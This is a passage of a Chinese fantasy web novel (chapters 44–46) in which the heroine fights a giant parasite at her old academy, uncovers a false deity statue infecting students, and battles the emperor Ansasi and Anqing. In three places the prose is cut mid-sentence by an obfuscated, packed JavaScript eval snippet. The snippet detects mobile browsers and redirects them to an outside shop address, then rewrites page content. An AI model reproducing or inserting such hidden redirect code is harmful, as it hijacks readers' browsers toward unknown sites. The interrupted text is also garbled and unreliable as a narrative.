混沌的灰白分离,白色被安澜带走,灰色漫进澄栖的身体里,和她的血液一起流淌,澄栖整个人变得轻飘飘,皮肤里涌出来越来越多的雾气,将她整个人吞没。 “你的人形是我拿白雾固定的,现在白雾没了,你自己把灰雾收回去,模拟着自己想要的形状组装。” 澄栖发现自己在浓密的雾里,能够清清楚楚看清安澜的五官,小到她皮肤上的毛孔。自己模拟吗?这是捏泥人的游戏?她懂了,给自己捏个身体出来。 房间里的雾气一点一点变淡,最后完全散开,露出来一张完整的和之前别无二致的脸,澄栖活动了一下自己的四肢,从来没有这么轻盈过,她觉得自己现在能打十个安澜。 安澜点头,“虽然你战斗力弱得可怜,但好歹另一方面的悟性还行,不算丢脸。” 44. 第 44 章 战斗力弱得可怜……这话澄栖不爱听了,当即拿出来长冥,跃跃欲试,“安澜将军,来打一架。” “真的?” 澄栖点头,信誓旦旦,“你用全力,我觉得我现在强得可怕。” 过程就不提了,澄栖也是挨了一顿揍之后才知道,哪怕是自己捏出来的身体,也是会鼻青脸肿,躺在床上痛得不能动弹的。 她简直要为自己的敬业感动哭了,拖着沉重的病躯去研究院上班。 许三光办公室的花已经快堆不下了。原颂约不出来澄栖,只好一天一束,还不能送进澄栖哪里,最后全部堆到了许三光办公室。 “赶紧拿走吧祖宗,你知道他们最近都在传什么吗?说我的第二春来了!可怜我这么大年纪,还要被传谣言!苦啊!苦啊!” 澄栖笑得讨好,“事从权急嘛教授,这花要是放在我那里,岂不是被八卦的人就是我了?您吃过的盐比我吃过的饭都多,我年轻,脸皮薄嘛,这样,教授您接下来有什么吩咐,我给您跑腿办事?” “真的?”许三光思考。 “当然是真的!”澄栖保证。 “那行,最近几天联邦军校杰出校友返校做分享,你也去。大家都挺想见见你的,正好给我们招招生。” 原来在这里等着她呢。澄栖这才想起来,许三光的一堆头衔里,还有一个和联邦军校的寄生虫学院相关的。 “……行。”她的学籍还挂在寄生虫学院的,正好趁这个时间回去把学籍的问题解决了。 “不过许教授啊,我有什么可分享的?” “讲讲你的研究生涯呗,怎么做研究,怎么成为院长,然后展望一下未来,希望行业越来越好之类的。”许三光随口道。 看得出来,这是对讲座的流程很熟悉了。不过,这就让澄栖更加为难了,怎么做研究?她眼睛看见的。怎么成为院长?这里面绕不开人人闻之变色的地下实验室。研究生涯就更没话说了,她的研究生涯,要从上辈子开始说才找得到源头。 “你确定吗,教授?”澄栖幽幽问了一句。 许三光一想,发现确实不对劲,顿时无语,“算了,你过去露个脸就行,其他人会吹牛吹到时间的,等结束一起参观一下母校吧。”太年轻就是这点不好,瞎说都得考虑故事真实性,以免太多人不信。 联邦军校和澄栖离开的时候没有太大差别,唯一不同的,大概是快要期末考试了,路上的学生比平时的脚步更快些。 她今天特意穿了一身低调的打扮,奈何身份摆在那里,又是一行人当中年纪最小的一个,很难不引起人注意。刚开始参观还只是局限于校园的各种建筑,等到同行的校友纷纷怀念起当年在寄生虫学院上课的日子后,军校接待人大手一挥,带着人浩浩荡荡去听课了。 好巧,又是一堂寄生虫解剖课。也难怪接待人员敢带他们过来而不担心引起课堂骚动。解剖室为了让学生们好发挥,一贯都是将老师和学生隔离开,经过上一次解剖室寄生虫意外事件后,学校翻新,解剖室的设备更新得更加完善。 这一批同学是即将毕业的学生,动作熟练干脆,寄生虫一投放进教室,就摆好了攻击阵型,有条不紊对着寄生虫进行攻击,很快,寄生虫彻底倒下,同学们穿着防护服,进行下一个环节。 不愧是军校培养出来的寄生虫专业。 “我记得,澄院长好像也是这个专业的?” 突然被cue到,大家的视线不约而同在说话的人和澄栖身上流转。 澄栖平静看了说话的人一眼,不认识,但是并不妨碍对方想要找她麻烦的心。 “嗯。”澄栖的态度并不热络,一时间,同行的人也不接话。 这明明是个大家不约而同避开的话题。他们当然知道澄栖原来在军校上学,没多久就去了研究院,她年纪太轻,升得也太快,不清楚研究院内部动荡的人,只以为这是个手眼通天的草包,看不惯,就想给她点颜色看看了。 “那不巧了嘛,”说话人感受到气氛沉默,硬着头皮继续为难,“难得听一次课,不然请澄院长为我们分享一下研究寄生虫的经验?” 有发现不对劲的接待人已经悄悄去找人了。气氛更加沉默,澄栖好像在思考,脸上挂着疏离的笑容,说话的人内心得意,更加确定澄栖是个手眼通天的草包。 他们预料澄栖不会答应,接待人员已经站出来,就差开口打圆场,没想到澄栖突然开口,“你确定?” “当然确定!” 澄栖看着他的视线,有些复杂,带着些可怜,她的研究经验…… “麻烦老师放寄生虫出来吧。”澄栖对着讲台上的老师说道。 “等等,澄院长如此自信,低级的寄生虫肯定是没有参考价值的,不如,让我们看看高级寄生虫?” 高级寄生虫,那是真的能往人身上寄生啊,一不留神人真的会废掉,而且一个研究院而已,又不是前线作战人员,高级寄生虫,不大合适,这已经是明晃晃的针对了。 澄栖依旧表情平静,擦了擦自己的刀,对老师点头,“可以,我记得军校实验室有高级寄生虫,放出来吧。” 老师悄悄咽了一口口水,“好。” 整个解剖室已经完全被隔离出来,为了学生不出意外,武器已经在旁边架号。他们口中的高级寄生虫悬在解剖室上方的笼子里,随着老师按下讲台上的按钮,笼子打开,寄生虫从上方往下面掉。 它落到解剖室地面的时候,墙壁上挂着的画都跟着颤抖。 高级寄生虫金刚,高七米多,它的身体表面附着了一层一米多厚的坚硬金属,刀枪不入,战斗力极强,一拳锤下去,连骨头都能给你锤成碎渣。比起生物,它更像是一块破坏性极强的金属武器。 已经有人默默拿着手环记录了。说话的人看见出来的是金刚,心态更加稳。这只寄生虫,当年联邦军方牺牲多少人才抓住,哪怕这些年放在军校里,丧失了不少战斗力,但也绝对不是一个柔弱的女子能够撼动的……吗? 澄栖从金刚的手臂跃起,跳到它的脑袋上,连武器都收起来了,拳头往它脑门上砸,生生砸出来一个凹陷。 想要为难澄栖的人,笑容一下子僵在脸上。个老子的!这还是人吗?! 澄栖看见金刚,也觉得稳了。天知道这种没有腐蚀性的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278477|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大块头有多善良,能碰能揍,虽然体型大了点,但是长得一点也不恶心,金灿灿的身体表面还反射出光芒,一下就让人想到她名下的金矿,真可爱啊。 金刚一开始也被打蒙了,反应过来它立刻想要反抗,转动身体想把澄栖甩下来,澄栖从它头顶跳到耳朵边上,借着视线盲区,手指散成灰雾,没有一点阻拦伸进了金刚坚硬的身体表面。 “配合我,我不会伤害你。” 身体一感受到灰雾的瞬间,金刚就已经老实了。等级的压制像是不可跨越的天堑,更何况,她手都透过它的坚硬外壳了,明摆着只要想,瞬间就能让它暴毙,它虽然是寄生虫,但基本的趋利避害还是有的好吗?! 金刚攻击的动作停了,金属咯吱咯吱响,它将手掌放到自己肩膀旁边,托住澄栖,轻轻放在地上,然后自己也蹲下来,表示了不会伤害她。 澄栖看向被隔离在玻璃外的老师,“它的基本数据量过吗?” 老师这才发现自己刚才的呼吸一直是停止的,深深吸了一口气,连忙回答,“粗略估计它的高度在七米三到七米五之间,其他的,都无法测量。” 澄栖点了点头,从旁边搬出来仪器,是专门测量大型寄生虫的身高体重仪,“站上来,量身高体重。” 那语气,不知道的还以为是什么健康中心的管理人员,在叫小孩子站上去量身高体重一样。可是偏偏,金刚真的动了,乖乖站到仪器上面。 “身高七米四一,体重六万五千三百四十千克——是不是有点超重了?你们在实验室给它喂什么吃了?”这个口气,越来越像健康管理中心的工作人员了。 老师被质疑,连忙摆手,“绝对没有!我们都是严格按照星际寄生虫研究院给的计划喂养的!” 澄栖点头,开始带着金刚做攻击力量测试,速度测试,耐力测试……总之,能测的,全部都测了一遍。 说真的,他们从来没见过这么配合的寄生虫。连家养的小猫小狗都没见过这么配合的。有人往自己大腿上掐了一下,发现居然不是做梦。 澄栖记录完所有数据,发现金刚确实超重了。这个体型,军校实验室不敢放它出来活动,投食正常投,然后毫无疑外,长胖了,各方面的机能也下降,澄栖贴心为它整理了新的培养计划。 金刚知道结束,飞一样躲回了笼子里。澄栖脱下自己的防护服,把培养计划交给实验人员,转头看见刚刚让她分享研究经验的人,他的脸色又黑又白,精彩纷呈。 “我的研究方式比较粗糙,就像你刚刚看到的那样。如果硬要说清楚一点,可能也就三步吧,第一步,找到寄生虫,第二步,征求寄生虫同意,第三步,进行研究。不知道阁下有什么高见?” 粗糙……三步……呵呵,谁还能有什么高见?他看完全程都没看懂澄栖到底是怎么征求金刚同意的,就问一句?问一句就行吗?!那确实是很会研究寄生虫了。 招待人员不得不站出来打圆场,“解剖课也该结束了,大家好久没回母校,不如我带大家到处走走吧?” 招待人员在心里发誓,这个挑事的人,下一次绝对不会出现在军校的邀请名单上。 45. 第 45 章 出了这么一着,接下来大家参观学校的氛围就和善多了。 “学校的学生们最近精神状态很好啊。”同行的校友感叹了一句。 他们经过的地方,不管是图书馆门口,还是宿舍旁边的绿化广场上,都有带着小板凳和保温杯背书的学生。 “学校期末周了。”澄栖解释了一句。 期末周,那就很正常了。 “大家当年的期末都是这么过来的,真是怀念啊。”校友笑笑,突然又发现什么,“诶,怎么还有同学拿着水果和线香?” 澄栖顺着他手指的地方看,果然,路上行色匆匆的两个学生,一个提了一篮子苹果,而祭拜用的线香,放在果篮的最上面。 被这么多人盯着,那两个学生当然感受到灼热的视线,回头,看见一群人里面居然有自己认识的人,挥手, “澄栖!回来参观吗?”是寄生虫一班的学生。打完招呼,他们才看见和澄栖一起的一堆西装革履的校友,有些尴尬,讪讪收回来打招呼的手。 大概是一起经历过安澜将军的摧残,还一起去过前线,那个已经成为寄生虫研究院院长的澄栖理离他们太远,而作为同伴的澄栖才是他们记忆里的那个。 今天看见她身边跟着的一群人,同学才后知后觉,澄栖真的已经是荣誉校友了。 澄栖走过去,泰然自若和他们打招呼。看起来,确实这样的年轻人才和澄栖是同一个年代的。 澄栖准确叫出来他们的名字,然后指了指他们的果篮,“这是干什么?” 她的态度跟从前在学校里打招呼别无而至,两个人的心也松弛下来。 “走,带你去一起去见识见识!”两个同学神神秘秘。 “走!”澄栖二话没说,跟校友群挥手告别,就在两个同学的带领下去“见识见识”。 绕过教学楼,操场,几栋宿舍,他们穿过上山的小路,到达后山。后山上被踩出来一条更小的路,此时路上的学生并不少,排着一个一个往前走,井然有序,而他们手上,毫无疑问的,都提着供奉的水果和线香。 澄栖猜测,是老祖宗的雕塑或者画像什么的。毕竟对于大学生来说,临时抱佛脚的努力和求神拜佛的玄学双管齐下并不是什么罕见的事情。 “澄栖,你猜猜是什么!” “猜到了你们请我吃饭?”澄栖挑眉,这个神秘接近鬼鬼祟祟的动作,是神像跑不掉了,估计还不是什么正统的神像。 两个人看着澄栖波澜不惊的神色,假装倒吸一口凉气,“那不行啊,你要是提出来吃什么满汉全席,我们去挖肾吗?” 澄栖嘴角抽搐,“脑回路到底是怎么长的?我回校没带饭卡,你们请我去食堂吃饭怎么样?” “那成啊,食堂吃饭倒是不用卖肾——不过,你真猜出来是什么了?” “神像。”澄栖笑着睨了他们一眼,嘴里淡淡吐出来两个字。 澄栖猜得很准。 前面排着的学生越来越少,神像揭开了她神秘的面纱。 淡淡雾气围绕着,好像是神像身体里面自己涌出来,又好像是她座前数量众多的线香燃烧所致。看上去,平添了几分圣洁。 “你还真别说,我才发现,文曲女君和澄栖居然长得有点像。难怪呢,考起试来像是怪物。”同学想起来安澜将军的那堂给他们整个学习生涯都留下来阴影的考试,澄栖以理论考试满分的成绩最后夺得了总分六十的好成绩。 澄栖看着面前的神像,瞳孔里弥散出来丝丝白气,只是转瞬之间,又被她强行逼回了正常状态。“你们,管她叫文曲女君?” 明明是一具彩塑的陌生神像,映在澄栖眼睛里的,确是一个活生生的人,一个并不陌生的活人,安轻。 “对啊,非常灵!拜过她的同学,考试都过了!”同学悄咪咪告诉澄栖,“你们做科研累吧?来拜拜,肯定也是管用的。”同学甚至热心地把自己的线香分了一半给澄栖。 澄栖没有接,长冥瞬间出现在手上,目光冷冷盯着上面的彩塑,“拜神是需要付出代价的,考试过了,代价呢?” “代价?我们带了水果和线香啊?神仙不就是靠香火活着吗?难道还有其他的?”同学对澄栖的话有些摸不着头脑,但好歹是过命的交情了,看着她的态度,知道有东西不对劲。 澄栖看见跪在地上的学生许愿,“保佑期末一科不挂。”他在彩塑前面插上线香,线香的烟气上升,飘到了那个学生的脸上,而彩塑身体里的淡淡雾气,混着线香的烟气,一起钻进学生的鼻腔。 根本就不是什么雾气,而是寄生虫!也不是什么文曲女君,是安轻。安轻,她回来了,以一种不可思议的方式,回到了联邦主星,把寄生虫种到了军校学生的身体里。 眨眼过后,同学发现澄栖的身影消失了,好像连残影都没有,闪到还跪在地上的学生面前,弯腰把人的脚提起来,倒着抖了抖,长冥刀光一晃,刀刃悬在学生鼻尖,一滴血珠滴落下来。 随着血珠一起的,还有一道发出尖锐叫声的雾线。 长冥斩下去,雾线的尖锐叫声更凄厉,变成两截,然后消散在空气里。 澄栖刀刃方向一转,朝着彩塑的方向一刀斩下,彩塑挨了一刀,鲜红的血液从伤口处缓缓流出来。 还在附近的学生看见这个情况,脚底发凉,纷纷掏出来武器严阵以待,一想到有缕尖叫的雾气可能现在正悄悄藏进了他们的身体里,胃里就忍不住翻江倒海。 彩塑在这个时候剧烈颤动,长冥被这奇异的频率震出来,澄栖提起刀,想要刺进去第二刀,彩塑的嘴角缓缓勾起来一抹弧度,僵硬,诡异,在场所有人的耳朵边,都听到了一声娇媚的冷笑声。 “你比之前强了不少。”彩塑好像是在缓慢恢复成人,声音带着些塑料的撕拉声。 澄栖不语,只是眼神冰冷的再次跃起,刀口向下,刺中彩塑。 “刺中了!” 还没等他们再次欢呼,被澄栖刺中的彩塑勾起来一抹诡异的笑容,然后,身体变淡再变淡,变成雾,无声无息消散。 空气里的声音越飘越远,轻浮得意,“这么多学生被寄生虫寄生了,你们应该怎么办呢?” 长冥在消散的雾气里缓缓显出形状,先前刀刃上的血迹也消失不见,漆黑的刀体洁净如新。澄栖握着长冥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306120|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,扫一眼雾气消失的方向,脸冷得可以滴出冰来。 她身后,是捂着自己的口鼻惊恐万分的学生。刚刚的彩塑说,他们的身体里,有寄生虫。 “这是真的吗?”学生声音颤抖,带着期冀望向澄栖。 “拜过彩塑的人,都去做全身检测。”澄栖安抚学生,“会有办法的。” 真的,会有办法吗?这闻所未闻的寄生虫。 澄栖没办法给他们更加确切的回答。现在能把雾气从这群学生身体里驱出来的人,只有两个,一个是她,一个是安澜。 可是,她真的敢赌吗?告诉他们自己能把他们身体里的寄生虫取出来,用什么方法呢?用灰雾把身体里的寄生虫引出来。 如果救了他们的人,是一个异类,他们会怎么做?澄栖看着周围年轻而迷茫的眼睛,握着长冥的手紧了紧,叹气,“去做检查吧,研究院有办法把你们身体里的寄生虫取出来。” “真的吗?” “真的。” 澄栖杀去了布勒宫。 四周的武装人员布置得很密,安萨斯被限制在这里。 和众人想象中郁郁不得志或者悔恨的形象相差甚远,坐在花园里,安萨斯看起来很悠闲。 “我就知道你会来。”他淡淡睨了澄栖一眼。 澄栖没有跟他废话,“把安轻交出来。” 安轻出现在联邦星,绝对不是什么巧合。她一直想要一具新的身体,然后回到安萨斯身边,澄栖想来想去,有谁能够驱动她提前回来,恐怕也只有安萨斯了。 不愧是浸淫政坛多年的老狐狸,哪怕手上权力被全面切割,也有办法从苏格星把安轻弄回来,更叫澄栖不可置信的是,安轻居然还相信这个人。 难道她不知道苏格星的寄生虫老巢,就是为了方便弄死她而设立的吗? “你居然知道?”安萨斯也不跟她打马虎,态度轻慢,“那么多人被寄生虫寄生,只有我,才能让他们活下来,澄院长,你确定这是你和我谈判该有的态度?” 听完安萨斯的话,澄栖神情动了动。只有他才能解决?看来安轻也没有蠢到那种程度,什么事情都给安萨斯交底了。 澄栖眉眼间带着烦躁,下一刻,直接把长冥横在了安萨斯的脖子上,她倒要看看,安萨斯有生命危险,安轻会不会出来。 安萨斯脸上的得意被这一刀晃成了冰冷,他没有想到,澄栖居然敢这么做。 “我知道你在这里,我数三个数,如果你还不出现,我保证,他的脖子一定会和身体分家。” “三。”第一个数数下去,长冥已经在安萨斯的脖子上划出来血痕。 四周寂静一片,庭院外守着的士兵哪怕听见一点动静,也当自己听不见。 “二。” 安萨斯一双眼睛恶狠狠盯着澄栖,可他年纪毕竟大了,澄栖又不是什么软柿子,把人控制得死死的,连逃都逃不掉。 “一!”最后一个数落下,长冥刀光一横,就要深入到皮肤深处。 风带着雾席卷而来,安萨斯被雾裹挟着拉开和澄栖的距离。 “杀了她。”安萨斯冷声吩咐安轻。 46. 第 46 章 安轻看着安萨斯的目光有些受伤,这样冷漠的语气早就让她确定,安萨斯已经不爱她。不过,爱上一次,当然就会爱上第二次。只要她有年轻漂亮的身体。安萨斯当年,不也是因为一副皮囊最开始和她有交集的吗? 发现安轻没有动作,安萨斯眼神一动,瞬间调整好自己的语气,“帮帮我,这个人,是我们的仇人。” 澄栖站在不远处,像看小丑一样看着这对怨侣。 可是安轻杀澄栖的欲望从始至终都不太强烈,她有些哀怨问安萨斯,“陛下记得我们的女儿吗?” 安萨斯当然记得。那可是他亲手送进实验室的。只是这个节骨眼,他是在不知道为什么安轻会突然提起来。 他安抚安轻,“当然记得,庄恩赐杀了我们的孩子,我一辈子也忘不掉。所以,我不是把庄恩赐杀了,还把她的孩子送给你赎罪了吗?可惜那个孩子也是个命浅的,前不久也死掉了,也算是她们母子团聚。” 安轻看着安萨斯摇头,其实寄生虫这一族,很难有什么骨肉情深的感觉,不过人类好像很重视那个,她说,“不,我们的孩子没有死,她就在眼前啊。” 眼前,只有逆光站着的澄栖,面无表情看着他们。安萨斯瞬间明白了什么,浑身一抖,抓住安轻的手臂,“杀,杀了她!” 安轻不知道为什么安萨斯的情绪变化如此之快,“可是她不是我们的孩子?” 安萨斯连忙打断,“亲爱的你听我说,我们当然可以有其他孩子,但是这个人,她想要杀掉我啊?难道你放弃我了?” 安轻有些犹豫,“可是,如果我杀掉她,占据她的身体,还能和陛下在一起吗?” 安萨斯毫不犹豫,“当然!” 安轻得到准确的回复,点头,居然真的相信了,冲着澄栖而来。 幸好,澄栖已经不是当初的她,一刀下去,拦下安轻的招数。 “你很不错,”安轻眼里有赞赏,这美丽的脸蛋和年轻的身体,她更想要了。 下一瞬,她的手臂变成浑浊涌动的雾,想要穿过澄栖的身体。 澄栖没有犹豫,一只手臂也同样变成灰雾,和安轻厮打在一起。 安萨斯这才终于确定,安轻说的是真的,澄栖真的是当年那个孩子,她回来复仇了。 哆哆嗦嗦掏出来藏着的枪,他瞄准澄栖,扣动扳机。 子弹在空中截停,熄火,停滞在空中。 声响吸引了澄栖的注意。 那只掐着子弹的手在空气里显现出来,然后是手臂,身体,头颅。 “安澜?!”安萨斯眼里露出来更深的惊恐。安澜的武力,是整个联邦公知的强,现在发现,她也是寄生虫。 安澜挑眉微笑,“哟,安萨斯陛下,才多久不见,跟死糟老头子没什么区别了。” 安澜踢了安萨斯一脚,飞速移动到澄栖身边,身上同样是雾气翻飞,对她说,“这里我顶着。” 澄栖深深看了一眼安澜,和她交换位置。 安萨斯被安澜一脚踹得还没爬起来,抬眼,又看见澄栖提着长冥站在自己跟前。 澄栖微笑,“陛下,我和安澜将军不一样,我是个讲道理的人,我不会真的让你死掉的。” “真的?”安萨斯将信将疑。 “当然,你一死,布勒宫廷的追随者又是一片动荡,联邦刚刚脱离独裁统治,几个组织相互制裁的局面,还不稳定。” “所以——”安萨斯狂喜。 “所以——”澄栖手上灰雾弥漫,一掌拍进安萨斯的脑子里。 不生不死,就方便控制得多了。 安萨斯直挺挺躺下去。 安轻回头,看见被澄栖踢到石桌下面的安萨斯,尖锐的声音穿透云霄,转瞬之间,身影就出现在了石桌旁边,想要把安萨斯身体里的寄生虫引出来。 “你不杀他?”安澜皱眉。 澄栖点头,“不杀,我放了一点灰雾进去。” 安澜脸上的表情,并不满意,澄栖想,可能她一开始选择在各方面帮助自己的原因,就是为了看父女操戈吧。但是安澜可能不会想到,自己知道了真相,最后却选择留安萨斯一命。 “你应该马上把他杀了。”安澜带着命令的口吻对澄栖吐出来这句话,语气间,泄露了几分急迫。 澄栖无奈,“不是不杀,是没到时候,安澜将军你再等两个月,等几个机关彻底平稳运行,我已经带着他的头给你谢罪行不行?” “不行。”安澜的表情依旧平静。 “为什么?”只是两个月都等不了?安澜将军的报复心也有点太严重了吧? 安澜没说话,一刀砍在安轻背上。澄栖这才反应过来,安轻竟然在背后试图偷袭她们。 她转身,脸上的五官彻底被磨灭,一只手搭在了澄栖的肩膀上,瞬间,澄栖被浑浊的雾气笼罩,雾气里,武器碰撞的动静一刻也没有停止,那,她身后这只手是谁的? 澄栖手腕一翻,刀刃转了一个方向,向后方狠狠刺去。 被什么东西缠住。 运动带起的风驱散了一点雾气,澄栖看清楚她背后的人,安萨斯陛下。 他怎么突然醒了? 澄栖的余光往刀刃瞥,瞳孔瞬间缩小,怎么会……这样,缠住长冥的,赫然是她往安萨斯身体里丢进去控制他的那缕雾气。 看着澄栖震惊的脸,安萨斯却是狂笑不止,原来是这样!他做了这么多年的事情,居然这么简单就能做到? 安萨斯伸手,那缕灰色雾气回到他的指尖,澄栖感受到,自己身体里好像有一股力量要突破她的躯壳。 “赶紧把人弄死,澄栖!”安澜的声音从看不见的雾气里传出来。 接着是安轻的声音,“原来壳子里的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306121|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早就被换过啊,我说她身上好歹有一半我的血呢,怎么这么弱?” 澄栖的脑袋有点混沌,好像什么东西正在悄然脱离开自己的躯体。 “澄栖你听我说,安萨斯用你的血把身体上下全都换过一遍了,灰雾现在分不清谁才是真正的主人,赶紧动手,等身体里的能量全部被他吸干净,死的就是你了!” 澄栖昏得有点思考不了问题了,“安澜将军你说什么?” 灰雾?什么是灰雾? 安萨斯看着雾气从她身体里逃逸出来,围绕在自己身边,嘴角的弧度更加扩大。 再快一点,再快一点,他马上就能吸干净澄栖身体里的灰雾,灰雾带来的能量和长长久久是寿命,全部都会变成他的! “澄栖!”安澜大喊。 澄栖身体一抖,清醒了一半,映入眼帘的,是安萨斯周身萦绕并且依旧在扩大的灰雾。 不好! 随着她的清醒,灰雾似乎陷入了抉择,又从安萨斯身上倒流回澄栖身上。 安萨斯眼睁睁感受着身体里的能量越来越少,双目猩红,“回来!”等着他的,是澄栖一刀刺进他肉里的声音。 灰雾下意识阻拦澄栖的动作,澄栖冷着脸,在巨大的压力下,将刀又往深处送了两分。 安萨斯用尽力气往后跑,腹部传来刺痛,低头一看,刀刃横穿。 澄栖收回刀,安萨斯没了支撑,软软倒下去。 “去跟她道歉吧。” 澄栖不是那个一出生就被关在地下实验室取血的小孩子,她能做的,也只有为那个小孩儿报仇。 “陛下!”安轻痛不欲生,顿时分心,被安澜捅了一刀。 安萨斯倒在地上,知道自己活不久,嘴里“嗬嗬”发出诡异的笑声。 “都,去,死!”他用尽最后的力气,按下一直藏在身上的按钮。 澄栖觉得不对劲,拨开安萨斯的手,看见他手心里一枚红色按钮,像是什么发射器。 还来不及反应,一颗带着定位的炮弹直直落进布勒宫,接着是第二枚。 澄栖脸色大变,这种程度的炮弹,根本就没有任何生还的可能性。 安轻不是安萨斯的底牌,这样由他控制的炮弹系统,才是他的底牌。 就连安轻,也迅速拉开和安澜的距离,只是一个瞬间,又被安澜拦住去路。 “你疯了吗?想要死在这里?”安轻破口大骂。 安澜比她平静得多,“安萨斯死了,就剩你一个,带着你陪葬,我不觉得亏。”真是个疯子,安轻气得胸廓剧烈起伏,偏偏她知道,安澜并不是在说假话。 “多好的机会,我还担心今天也不能杀了你,这些炮弹,来得正是时候。”又是一枚炮弹落下来,越来越近,硝烟碎片砸在她们身上,全靠强大的防御力抵抗。 “那她呢!你忍心让她也死?”